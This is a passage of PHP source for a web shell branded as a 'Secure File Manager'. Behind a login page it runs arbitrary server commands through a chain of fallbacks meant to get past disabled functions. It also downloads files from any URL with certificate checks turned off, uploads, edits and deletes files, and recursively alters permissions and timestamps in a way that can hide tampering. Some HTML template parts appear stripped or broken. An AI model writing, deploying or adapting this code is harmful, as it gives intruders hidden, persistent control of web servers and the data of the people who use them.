= 1024 && $i < count($u)-1){ $b/=1024; $i++; }
return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i];
}
function permsToString($f){
$p = @fileperms($f); if ($p === false) return '??????????';
$t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-');
$s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); // owner
$s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); // group
$s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); // world
return $t.$s;
}
function modeFromInput($s){
$s=trim($s); if ($s==='') return 0644;
if (ctype_digit($s)){ if ($s[0]!=='0') $s='0'.$s; return intval($s,8); }
return 0644;
}
function isTextFile($p){
if (is_dir($p) || !is_file($p)) return false;
$ext = strtolower(pathinfo($p, PATHINFO_EXTENSION));
$text = array('txt','md','json','js','ts','css','scss','less','html','htm','xml','svg','php','phtml','inc','ini','cfg','env','yml','yaml','py','rb','go','rs','c','h','cpp','hpp','java','kt','sql','csv','log');
if (in_array($ext, $text, true)) return true;
$s = @file_get_contents($p, false, null, 0, 2048);
if ($s === false) return false;
return (bool)preg_match('//u', $s);
}
function safeJoin($base,$child){
$child = str_replace("\0",'',$child);
if ($child==='') return $base;
if ($child[0]===DIRECTORY_SEPARATOR || preg_match('~^[A-Za-z]:\\\\~',$child)) return $child;
return rtrim($base,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child;
}
function listDirEntries($dir){
$h = @opendir($dir); if ($h===false) return array();
$items=array(); while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $items[]=$e; }
closedir($h); return $items;
}
function rrmdir($p){
if (!file_exists($p)) return true;
if (is_file($p) || is_link($p)) return @unlink($p);
$ok=true; $h=@opendir($p); if($h===false) return false;
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; $ok = rrmdir($p.DIRECTORY_SEPARATOR.$v) && $ok; }
closedir($h);
return @rmdir($p) && $ok;
}
function tryWriteFromTmp($tmp,$dest){
$err=array(); if(@move_uploaded_file($tmp,$dest)) return array(true,null); $err[]='move_uploaded_file';
if(@rename($tmp,$dest)) return array(true,null); $err[]='rename';
if(@copy($tmp,$dest)) return array(true,null); $err[]='copy';
$d=@file_get_contents($tmp); if($d!==false && @file_put_contents($dest,$d)!==false) return array(true,null); $err[]='get+put';
$in=@fopen($tmp,'rb'); $out=@fopen($dest,'wb');
if($in && $out){ $c=stream_copy_to_stream($in,$out); @fclose($in); @fclose($out); if($c!==false) return array(true,null); $err[]='stream_copy'; }
else { $err[]='fopen'; }
return array(false, implode('; ',$err).' failed');
}
if (!function_exists('fetchUrlToFile')) {
function fetchUrlToFile($url, $dest) {
$errs = array();
// 1) cURL (jika tersedia & tidak didisable)
if (is_fn_usable('curl_init')) {
$ch = @curl_init($url);
$fp = @fopen($dest, 'wb');
if ($ch && $fp) {
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_FILE, $fp);
@curl_setopt($ch, CURLOPT_FAILONERROR, true);
@curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
@curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$ok = @curl_exec($ch);
$e = @curl_error($ch);
@curl_close($ch);
@fclose($fp);
if ($ok) return array(true, null);
$errs[] = 'cURL: ' . $e;
@unlink($dest);
} else {
if ($ch) @curl_close($ch);
if ($fp) @fclose($fp);
$errs[] = 'init cURL/fopen';
}
}
// Context utk wrapper stream
$ctx = @stream_context_create(array(
'http' => array(
'follow_location' => 1,
'timeout' => 60,
'header' => "User-Agent: Mozilla/5.0\r\n",
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
));
// 2) copy() langsung
if (@copy($url, $dest, $ctx)) return array(true, null);
$errs[] = 'copy(url)';
// 3) get+put
$d = @file_get_contents($url, false, $ctx);
if ($d !== false && @file_put_contents($dest, $d) !== false) return array(true, null);
$errs[] = 'get+put';
// 4) stream_copy_to_stream
$in = @fopen($url, 'rb', false, $ctx);
$out = @fopen($dest, 'wb');
if ($in && $out) {
$c = @stream_copy_to_stream($in, $out);
@fclose($in);
@fclose($out);
if ($c !== false) return array(true, null);
$errs[] = 'stream_copy';
@unlink($dest);
} else {
$errs[] = 'fopen(url/dest)';
}
return array(false, implode('; ', $errs) . ' failed');
}
}
function breadcrumbs($path){
$out=array();
if (preg_match('~^[A-Za-z]:\\\\~',$path)){
$drive=substr($path,0,2); $rest=substr($path,2);
$segments=array_values(array_filter(explode('\\\\',$rest),'strlen'));
$acc=$drive.'\\'; $out[]=array($drive.'\\',$acc);
foreach($segments as $s){ $acc.=$s.'\\'; $out[]=array($s,rtrim($acc,'\\')); }
} else {
$segments=array_values(array_filter(explode('/',$path),'strlen'));
$acc='/'; $out[]=array('/','/');
foreach($segments as $s){ $acc.=$s.'/'; $out[]=array($s,rtrim($acc,'/')); }
}
return $out;
}
function ensureCsrf(){
if($_SERVER['REQUEST_METHOD']==='POST'){
$sess = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
$tok = isset($_POST['csrf']) ? (string)$_POST['csrf'] : '';
$ok = hash_equals($sess,$tok);
if(!$ok){ http_response_code(400); exit('CSRF token invalid'); }
}
}
/* ====== NEW HELPERS: create non-zero file ====== */
function create_nonzero_file($path, $userContent = null){
$default = "Created by BLUE @ ".date('c')."\n";
$payload = (string)($userContent !== null ? $userContent : $default);
if ($payload === '') $payload = $default;
$w = @file_put_contents($path, $payload, LOCK_EX);
if ($w !== false && $w > 0) return array(true, 'file_put_contents');
$fp = @fopen($path, 'wb');
if ($fp){
$wr = @fwrite($fp, $payload);
@fclose($fp);
if ($wr !== false && $wr > 0) return array(true, 'fopen+fwrite');
}
$tmp = @tempnam(sys_get_temp_dir(), 'blue_');
if ($tmp){
@file_put_contents($tmp, $payload);
if (@rename($tmp, $path)) {
if (@filesize($path) > 0) return array(true, 'tempnam+rename');
} elseif (@copy($tmp, $path)) {
@unlink($tmp);
if (@filesize($path) > 0) return array(true, 'tempnam+copy');
}
@unlink($tmp);
}
$src = @fopen('php://temp', 'wb+');
if ($src){
@fwrite($src, $payload);
@rewind($src);
$dst = @fopen($path, 'wb');
if ($dst){
$copied = @stream_copy_to_stream($src, $dst);
@fclose($dst);
if ($copied !== false && $copied > 0) { @fclose($src); return array(true, 'php://temp copy'); }
}
@fclose($src);
}
if (@touch($path)){
$w2 = @file_put_contents($path, $payload, FILE_APPEND);
if ($w2 !== false && $w2 > 0) return array(true, 'touch+append');
}
return array(false, 'All methods failed');
}
/* ---------- Auth UI ---------- */
function render_login($err=''){
$csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
?>
BLUE
© BLUE x Secure File Manager
=60 && ($hash[0].$hash[1])==='$2') return crypt($password,$hash)===$hash;
return false;
}
function verify_login_creds($u,$p){
if($u!==AUTH_USER) return false; $hash=AUTH_PASS_HASH; if($hash===''||strlen($hash)<20) return false; return biru_password_verify($p,$hash);
}
/* ---------- Icons ---------- */
function svgIcon($name,$class='ico'){
$icons=array(
'folder'=>'',
'file'=>'',
'code'=>'',
'text'=>'',
'pwx'=>'',
'img'=>'',
'pdf'=>'',
'sheet'=>'',
'zip'=>'',
'db'=>'',
'search'=>'',
);
return isset($icons[$name]) ? $icons[$name] : $icons['file'];
}
function iconSvgFor($p){
if (is_dir($p)) return svgIcon('folder');
$e=strtolower(pathinfo($p, PATHINFO_EXTENSION));
if (in_array($e,array('zip','rar','7z'))) return svgIcon('zip');
if (in_array($e,array('jpg','jpeg','png','gif','webp','bmp','svg'))) return svgIcon('img');
if (in_array($e,array('pdf'))) return svgIcon('pdf');
if (in_array($e,array('csv','xls','xlsx'))) return svgIcon('sheet');
if (in_array($e,array('sql'))) return svgIcon('db');
if (in_array($e,array('php','js','ts','css','scss','less','html','htm','xml','yml','yaml','ini','cfg'))) return svgIcon('code');
if (in_array($e,array('txt','md','log','json'))) return svgIcon('text');
return svgIcon('file');
}
/* ---------- Shell helpers ---------- */
if(!function_exists('make_cd_prefix')){
function make_cd_prefix($cwd){
if(!$cwd) return '';
if(DIRECTORY_SEPARATOR==='\\') return 'cd /d '.escapeshellarg($cwd).' && ';
return 'cd '.escapeshellarg($cwd).' && ';
}
}
if(!function_exists('wrap_cmd_for_shell')){
function wrap_cmd_for_shell($cmd){
if(DIRECTORY_SEPARATOR==='\\') return 'cmd.exe /C '.$cmd;
return '/bin/sh -c '.escapeshellarg($cmd);
}
}
/* ---------- Command runners (respect disable_functions) ---------- */
if(!function_exists('run_with_proc_open')){
function run_with_proc_open($cmd,$cwd=null,$timeout=30){
if(!is_fn_usable('proc_open')) return null;
$des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $pipes=array(); $proc=@proc_open($cmd,$des,$pipes,$cwd?:null,null);
if(!is_resource($proc)) return null;
if(isset($pipes[1])&&is_resource($pipes[1])) @stream_set_blocking($pipes[1],false);
if(isset($pipes[2])&&is_resource($pipes[2])) @stream_set_blocking($pipes[2],false);
if(isset($pipes[0])&&is_resource($pipes[0])) @fclose($pipes[0]);
$buf=''; $start=time();
while(true){
$status=@proc_get_status($proc); $running=$status && !empty($status['running']);
$r=array(); if(isset($pipes[1])&&is_resource($pipes[1])) $r[]=$pipes[1]; if(isset($pipes[2])&&is_resource($pipes[2])) $r[]=$pipes[2];
if($r){ $w=null;$e=null; @stream_select($r,$w,$e,1); foreach($r as $p){ $chunk=@fread($p,8192); if($chunk!==false && $chunk!=='') $buf.=$chunk; } }
else { usleep(100000); }
if(!$running) break;
if($timeout>0 && (time()-$start)>=$timeout){
@proc_terminate($proc,9);
foreach($pipes as $p){ if(is_resource($p)) @fclose($p); }
@proc_close($proc);
return array('method'=>'proc_open','code'=>124,'out'=>$buf."\n[timeout after {$timeout}s]");
}
}
foreach($pipes as $p){ if(is_resource($p)) @fclose($p); }
$code=@proc_close($proc); if($code===-1) $code=null;
return array('method'=>'proc_open','code'=>$code,'out'=>$buf);
}
}
if(!function_exists('run_with_shell_exec')){
function run_with_shell_exec($cmd,$cwd=null){
if(!is_fn_usable('shell_exec')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$out = @shell_exec($full); if($out===null) return null;
return array('method'=>'shell_exec','code'=>null,'out'=>$out);
}
}
if(!function_exists('run_with_exec')){
function run_with_exec($cmd,$cwd=null){
if(!is_fn_usable('exec')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$lines=array(); $code=0; @exec($full,$lines,$code);
return array('method'=>'exec','code'=>$code,'out'=>implode("\n",(array)$lines));
}
}
if(!function_exists('run_with_system')){
function run_with_system($cmd,$cwd=null){
if(!is_fn_usable('system')) return null;
$full = make_cd_prefix($cwd) . $cmd . '2>&1';
ob_start(); @system($full,$code); $out=ob_get_clean();
return array('method'=>'system','code'=>$code,'out'=>$out);
}
}
if(!function_exists('run_with_popen')){
function run_with_popen($cmd,$cwd=null){
if(!is_fn_usable('popen')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$h=@popen(wrap_cmd_for_shell($full),'r'); if(!is_resource($h)) return null;
$buf=''; while(!feof($h)){ $chunk=@fread($h,8192); if($chunk===false) break; $buf.=$chunk; }
@pclose($h); return array('method'=>'popen','code'=>null,'out'=>$buf);
}
}
if(!function_exists('run_command_all')){
function run_command_all($cmd,$cwd=null){
$po=run_with_proc_open($cmd,$cwd,30); if($po) return $po;
$order=array('run_with_shell_exec','run_with_exec','run_with_system','run_with_popen');
foreach($order as $fn){
if(function_exists($fn)){ $res=$fn($cmd,$cwd); if($res) return $res; }
}
return array('method'=>'none','code'=>127,'out'=>"Command runner not available on this PHP build.");
}
}
/* ---------- chmod/mtime recursion ---------- */
function biru_apply_chmod($path,$mode,$recursive,&$ok){
if(!@chmod($path,$mode)) $ok=false;
if($recursive && is_dir($path)){
$h=@opendir($path);
if($h!==false){
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; biru_apply_chmod($path.DIRECTORY_SEPARATOR.$v,$mode,true,$ok); }
closedir($h);
} else { $ok=false; }
}
}
function biru_apply_mtime($path,$timestamp,$recursive,&$ok){
if(!@touch($path,$timestamp,$timestamp)) $ok=false;
if($recursive && is_dir($path)){
$h=@opendir($path);
if($h!==false){
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; biru_apply_mtime($path.DIRECTORY_SEPARATOR.$v,$timestamp,true,$ok); }
closedir($h);
} else { $ok=false; }
}
}
/* =========================
* BOOT & ROUTER
* ========================= */
$current = isset($_GET['p']) ? (string)$_GET['p'] : getcwd();
if (!is_dir($current)) $current = getcwd();
$current = rtrim($current, DIRECTORY_SEPARATOR);
if ($current === '') $current = DIRECTORY_SEPARATOR;
$action = isset($_GET['a']) ? $_GET['a'] : '';
/* ---- AUTH ---- */
if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
$u = isset($_POST['user']) ? $_POST['user'] : ''; $p = isset($_POST['pass']) ? $_POST['pass'] : '';
if (verify_login_creds($u,$p)) { $_SESSION['auth']=true; $_SESSION['who']=$u; header('Location: ?p='.rawurlencode($current)); exit; }
else { render_login('Incorrect username or password'); exit; }
}
if (empty($_SESSION['auth'])) { render_login(); exit; }
/* ---- DOWNLOAD ---- */
if ($action === 'download') {
$f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : '');
if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); }
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
header('X-Content-Type-Options: nosniff');
readfile($f); exit;
}
/* ---- RAW (inline view) ---- */
if ($action === 'raw') {
$f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : '');
if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); }
$mime = 'application/octet-stream';
if (is_fn_usable('finfo_open')) { $fi=@finfo_open(FILEINFO_MIME_TYPE); if($fi){ $det=@finfo_file($fi,$f); if($det) $mime=$det; @finfo_close($fi);} }
elseif (is_fn_usable('mime_content_type')) { $tmp=@mime_content_type($f); if($tmp) $mime=$tmp; }
header('Content-Type: '.$mime);
header('Content-Length: '.filesize($f));
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: inline; filename="'.basename($f).'"');
readfile($f); exit;
}
/* ---- POST ACTIONS ---- */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
$back = function () use ($current) { header('Location: ?p='.rawurlencode($current)); exit; };
switch ($action) {
case 'logout': {
session_destroy(); header('Location: ?'); exit;
}
case 'new-file': {
$name = trim((string)(isset($_POST['name']) ? $_POST['name'] : ''));
$content = isset($_POST['content']) ? (string)$_POST['content'] : null;
if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New File: invalid name'; return $back(); }
$dst = safeJoin($current, $name);
if (file_exists($dst)) { $_SESSION['msg']='New File: already exists'; return $back(); }
list($ok,$how) = create_nonzero_file($dst, $content);
$_SESSION['msg'] = $ok ? ("New File OK via {$how}: ".$name) : ('New File failed: '.$how);
return $back();
}
case 'new-dir': {
$name = trim((string)(isset($_POST['name']) ? $_POST['name'] : ''));
if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New Folder: invalid name'; return $back(); }
$dst = safeJoin($current, $name);
if (file_exists($dst)) { $_SESSION['msg']='New Folder: already exists'; return $back(); }
$ok = @mkdir($dst, 0775, false);
$_SESSION['msg'] = $ok ? ('New Folder OK: '.$name) : 'New Folder failed';
return $back();
}
case 'edit-save': {
$file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : '');
$content = isset($_POST['content']) ? $_POST['content'] : '';
$mode = isset($_POST['mode']) ? $_POST['mode'] : 'txt';
if (!is_file($file) || !is_writable($file)) { $_SESSION['msg']='Save failed (file not writable)'; return $back(); }
if ($mode === 'b64') {
$data = base64_decode($content, true);
if ($data === false) { $_SESSION['msg']='Save failed: invalid Base64 data'; return $back(); }
@file_put_contents($file, $data);
} else {
@file_put_contents($file, $content);
}
$_SESSION['msg'] = 'Saved: '.basename($file); return $back();
}
case 'rename': {
$old = safeJoin($current, isset($_POST['old']) ? $_POST['old'] : '');
$new = trim((string)(isset($_POST['new']) ? $_POST['new'] : ''));
if ($new === '' || strpos($new, DIRECTORY_SEPARATOR) !== false) { $_SESSION['msg']='Invalid new name'; }
else { $dst = safeJoin($current, $new); $_SESSION['msg'] = @rename($old,$dst) ? 'Rename OK' : 'Rename failed'; }
return $back();
}
case 'chmod': {
$target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : '');
$mode = modeFromInput((string)(isset($_POST['mode']) ? $_POST['mode'] : '0644'));
$rec = !empty($_POST['recursive']); $ok=true; biru_apply_chmod($target,$mode,$rec,$ok);
$_SESSION['msg'] = $ok ? 'Chmod OK' : 'Chmod partially failed'; return $back();
}
case 'delete': {
$t = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $_SESSION['msg'] = rrmdir($t) ? 'Delete OK' : 'Delete failed'; return $back();
}
case 'mass-delete': {
$arr = isset($_POST['items']) ? $_POST['items'] : array(); $ok=true;if (is_array($arr)) foreach ($arr as $n) { $ok = rrmdir(safeJoin($current,$n)) && $ok; }
$_SESSION['msg'] = $ok ? 'Bulk delete OK' : 'Some items failed to delete'; return $back();
}
case 'upload': {
if (!isset($_FILES['files'])) { $_SESSION['msg']='No files provided'; return $back(); }
$c = count($_FILES['files']['name']); $ok=0; $fail=0; $fails=array();
for ($i=0;$i<$c;$i++){
$name=$_FILES['files']['name'][$i]; $tmp=$_FILES['files']['tmp_name'][$i]; $e=$_FILES['files']['error'][$i];
if ($e!==UPLOAD_ERR_OK){ $fail++; $fails[]="$name (error $e)"; continue; }
list($done,$why)=tryWriteFromTmp($tmp,safeJoin($current,$name));
if ($done) $ok++; else { $fail++; $fails[]="$name ($why)"; }
}
$_SESSION['msg']="Upload: OK=$ok; Failed=$fail".($fails?'; '.implode(', ',$fails):''); return $back();
}
case 'url-upload': {
$url = trim((string)(isset($_POST['url']) ? $_POST['url'] : ''));
$fn = trim((string)(isset($_POST['filename']) ? $_POST['filename'] : ''));
if ($url===''){ $_SESSION['msg']='URL is empty'; return $back(); }
if ($fn===''){ $path=parse_url($url,PHP_URL_PATH); $fn=basename($path?$path:''); if($fn===''){ $fn='download.bin'; } }
list($ok,$w) = fetchUrlToFile($url, safeJoin($current,$fn));
$_SESSION['msg'] = $ok ? "Downloaded from URL: $fn" : "URL download failed: $w"; return $back();
}
case 'mtime': {
$target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : '');
$input = trim((string)(isset($_POST['ts']) ? $_POST['ts'] : '')); $rec = !empty($_POST['recursive']);
if ($input===''){ $_SESSION['msg']='Change Date: empty'; return $back(); }
if (ctype_digit($input)) $ts=(int)$input; else { $ts=@strtotime($input); if($ts===false){ $_SESSION['msg']='Change Date: invalid time format'; return $back(); } }
$ok=true; biru_apply_mtime($target,$ts,$rec,$ok);
$_SESSION['msg'] = $ok ? ('Change Date OK → '.date('Y-m-d H:i:s',$ts)) : 'Change Date partially failed'; return $back();
}
case 'cmd': {
$cmd = trim((string)(isset($_POST['cmd']) ? $_POST['cmd'] : ''));
if ($cmd===''){ $_SESSION['msg']='Command is empty.'; return $back(); }
$result = run_command_all($cmd, $current); $out=(string)$result['out'];
if (strlen($out)>1024*1024) $out = substr($out,0,1024*1024)."\n[output truncated]";
$_SESSION['cmd_result']=array('cmd'=>$cmd,'method'=>$result['method'],'code'=>$result['code'],'out'=>$out); return $back();
}
/* ===== MOVE, ZIP, UNZIP ===== */
case 'move': {
$srcName = (string)(isset($_POST['src']) ? $_POST['src'] : '');
$dstDir = (string)(isset($_POST['dst']) ? $_POST['dst'] : '');
$srcFull = safeJoin($current, $srcName);
if ($srcName==='' || !file_exists($srcFull)) { $_SESSION['msg']='Move failed: source missing'; return $back(); }
if ($dstDir==='') { $_SESSION['msg']='Move failed: destination empty'; return $back(); }
if (!is_dir($dstDir)) { $_SESSION['msg']='Move failed: destination is not a directory'; return $back(); }
$dstFull = safeJoin($dstDir, basename($srcName));
if (@realpath($srcFull)===@realpath($dstFull)) { $_SESSION['msg']='Move skipped (same location)'; return $back(); }
$ok = @rename($srcFull, $dstFull);
$_SESSION['msg'] = $ok ? 'Move OK' : 'Move failed';
return $back();
}
case 'zip': {
$items = isset($_POST['items']) ? $_POST['items'] : array();
$name = trim((string)(isset($_POST['zipname']) ? $_POST['zipname'] : ''));
if (!is_array($items) || empty($items)) { $_SESSION['msg']='Zip failed: nothing selected'; return $back(); }
if ($name==='') $name = 'archive-'.date('Ymd-His').'.zip';
$archivePath = safeJoin($current, $name);
$done=false; $err='';
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($archivePath, ZipArchive::CREATE|ZipArchive::OVERWRITE)===true) {
foreach ($items as $it) {
$full = safeJoin($current, $it);
if (is_dir($full)) {
$itClean = rtrim($it, DIRECTORY_SEPARATOR);
addDirToZip($zip, $full, $itClean);
} elseif (is_file($full)) {
$zip->addFile($full, basename($it));
}
}
$zip->close(); $done=true;
} else { $err='ZipArchive open failed'; }
}
if (!$done) {
if (class_exists('PharData')) {
try {
$tarName = preg_replace('~\.zip$~i', '.tar', $archivePath);
$phar = new PharData($tarName);
foreach ($items as $it) {
$full = safeJoin($current, $it);
if (is_dir($full)) {
$phar->addEmptyDir(basename($it));
addDirToPhar($phar, $full, basename($it));
} elseif (is_file($full)) {
$phar->addFile($full, basename($it));
}
}
unset($phar);
$_SESSION['msg']='ZipArchive not available; created TAR instead: '.basename($tarName);
return $back();
} catch (Exception $e) { $err = 'TAR fallback failed: '.$e->getMessage(); }
} else {
$err = ($err ? $err.'; ' : '').'No ZipArchive nor PharData available';
}
}
$_SESSION['msg'] = $done ? ('Archive created: '.basename($archivePath)) : ('Zip failed: '.$err);
return $back();
}
case 'unzip': {
$file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : '');
if (!is_file($file)) { $_SESSION['msg']='Unzip failed: file not found'; return $back(); }
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$ok=false; $err='';
if ($ext==='zip' && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($file)===true) { $ok = $zip->extractTo($current); $zip->close(); if(!$ok) $err='Zip extractTo failed'; }
else { $err='Zip open failed'; }
} else {
try {
if (class_exists('PharData') && preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)) {
$phar = new PharData($file);
$phar->extractTo($current, null, true);
$ok=true;
} else {
$err='Unsupported archive type or PharData not available';
}
} catch (Exception $e) { $err=$e->getMessage(); }
}
$_SESSION['msg'] = $ok ? 'Unzip OK' : ('Unzip failed: '.$err);
return $back();
}
}
}
/* ==== Helpers for ZIP/TAR recursion ==== */
/* Hapus type-hint ZipArchive agar tidak fatal di PHP tanpa ekstensi zip */
function addDirToZip($zip, $dir, $local){
$dir = rtrim($dir, DIRECTORY_SEPARATOR);
if (method_exists($zip, 'addEmptyDir')) $zip->addEmptyDir($local);
$h = @opendir($dir); if(!$h) return;
while(false!==($e=readdir($h))){
if($e==='.'||$e==='..') continue;
$full = $dir.DIRECTORY_SEPARATOR.$e;
$localPath = $local.'/'.basename($e);
if (is_dir($full)) addDirToZip($zip, $full, $localPath);
elseif (is_file($full) && method_exists($zip,'addFile')) $zip->addFile($full, $localPath);
}
closedir($h);
}
function addDirToPhar($phar, $dir, $local){
$dir = rtrim($dir, DIRECTORY_SEPARATOR);
$h = @opendir($dir); if(!$h) return;
while(false!==($e=readdir($h))){
if($e==='.'||$e==='..') continue;
$full = $dir.DIRECTORY_SEPARATOR.$e;
$localPath = $local.'/'.basename($e);
if (is_dir($full)) { if (method_exists($phar,'addEmptyDir')) $phar->addEmptyDir($localPath); addDirToPhar($phar,$full,$localPath); }
elseif (is_file($full) && method_exists($phar,'addFile')) { $phar->addFile($full, $localPath); }
}
closedir($h);
}
/* =========================
* VIEW MODEL & RENDER
* ========================= */
$items = listDirEntries($current);
$files=array(); $dirs=array();
foreach($items as $it){ $full=$current.DIRECTORY_SEPARATOR.$it; if(is_dir($full)) $dirs[]=$it; else $files[]=$it; }
$hasNatural=defined('SORT_NATURAL'); $hasFlagCase=defined('SORT_FLAG_CASE');
if ($hasNatural){ sort($dirs, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); sort($files, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); }
else { natcasesort($dirs); $dirs=array_values($dirs); natcasesort($files); $files=array_values($files); }
$up = dirname($current); if ($up===$current) $up=$current;
$isEdit = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'edit')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null;
$editFile = ($isEdit && is_file($isEdit)) ? $isEdit : null;
$isView = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'view')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null;
$viewFile = ($isView && is_file($isView)) ? $isView : null;
$modeParam = isset($_GET['mode']) ? $_GET['mode'] : 'auto';
$viewMode = in_array($modeParam, array('txt','b64','auto'), true) ? $modeParam : 'auto';
$csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
$yearNow = date('Y');
?>
BLUE
Command Output ×
via , exit
Edit File
Size:
Preview:
Size:
$preview_max): ?>
Showing of . Use Edit/Download for full content.
This file type cannot be previewed directly.
@get_current_user(), 'uid'=>$uid);
}
}
if (!function_exists('fx_posix_getgrgid')) {
function fx_posix_getgrgid($gid) {
if (is_fn_usable('posix_getgrgid')) return @posix_getgrgid($gid);
return array('name'=>'unknown','gid'=>$gid);
}
}
if (!function_exists('fx_diskfreespace')) {
function fx_diskfreespace($directory) {
if (is_fn_usable('diskfreespace')) return @diskfreespace($directory);
if (is_fn_usable('disk_free_space')) return @disk_free_space($directory);
return false;
}
}
if (!function_exists('fx_filegroup')) {
function fx_filegroup($filename) {
if (is_fn_usable('filegroup')) return @filegroup($filename);
return false;
}
}
if (!function_exists('fx_ftp_connect')) {
function fx_ftp_connect($host, $port=21, $timeout=90) {
if (is_fn_usable('ftp_connect')) return @ftp_connect($host, $port, $timeout);
if (is_fn_usable('fsockopen')) return @fsockopen($host, $port, $errno, $errstr, $timeout);
return false;
}
}
if (!function_exists('fx_stream_get_contents')) {
function fx_stream_get_contents($handle, $maxlength = -1, $offset = -1) {
if (is_fn_usable('stream_get_contents')) return @stream_get_contents($handle, $maxlength, $offset);
if ($offset > 0) @fseek($handle, $offset);
$data = '';
if ($maxlength === -1) {
while(!feof($handle)) { $data .= @fread($handle, 8192); }
} else {
$data = @fread($handle, $maxlength);
}
return $data;
}
}